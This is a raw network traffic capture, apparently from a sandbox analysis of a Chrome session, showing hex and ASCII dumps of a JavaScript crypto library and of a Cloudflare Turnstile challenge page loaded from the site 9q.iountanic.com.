2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49717	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:48 UTC	799	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://9q.iountanic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:48 UTC	1369	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 164934 Connection: close cross-origin-resource-policy: cross-origin document-policy: js-profiling content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cross-origin-opener-policy: same-origin origin-agent-cluster: ?1 referrer-policy: same-origin
2024-10-11 13:53:48 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 30 66 35 36 61 37 30 63 61 64 63 33 66 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8d0f56a70cadc3ff-EWRalt-svc: h3=":443"; ma=86400
2024-10-11 13:53:48 UTC	1287	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 2c 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d Data Ascii: n-wrapper,body,html{height:100%;margin:0;overflow:hidden;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 6e 2d 64 65 6c 61 79 3a 2e 33 73 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 7b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 20 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d Data Ascii: n-delay:.3s}#success-pre-i{height:30px;width:30px}#success-pre-i line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 Data Ascii: text a:visited,.theme-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-tex
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 71 72 7b 66 69 6c 6c 3a 23 66 33 38 30 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 Data Ascii: -dark #qr{fill:#f38020}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:foc
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 6e 64 65 78 3a 39 39 39 39 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 7d 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 70 78 7d 2e 66 61 69 6c 75 72 65 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d Data Ascii: ndex:9999}#challenge-overlay a,#challenge-overlay a:link,#challenge-overlay a:visited{color:#232323}#challenge-overlay a:active,#challenge-overlay a:focus,#challenge-overlay a:hover{color:#166379}#logo{height:25px;margin-bottom:1px}.failure-circle{stroke-
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 61 72 65 61 3a 31 2f 31 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 31 73 20 65 61 73 65 2d 69 6e 3b 77 69 64 74 68 3a 32 34 70 78 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 38 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 6c 62 2d 74 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 Data Ascii: area:1/1;height:24px;transition:all .1s ease-in;width:24px;z-index:9998}.cb-lb .cb-i:after{border-radius:5px;content:"";position:absolute}.cb-lb .cb-lb-t{grid-column:2;margin-left:8px}.size-compact{font-size:14px}.size-compact #content{align-items:flex-st
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 65 6e 74 65 72 20 66 6c 65 78 2d 65 6e 64 7d 2e 72 74 6c 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 7d 2e 72 74 6c 20 2e 63 62 2d 6c 62 2d 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 2c 2e 72 74 6c 20 23 66 61 69 6c 2d 69 2c 2e 72 74 6c 20 23 6f 76 65 72 72 75 6e 2d 69 2c 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 2c 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 2c 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e Data Ascii: enter flex-end}.rtl{direction:rtl}.rtl 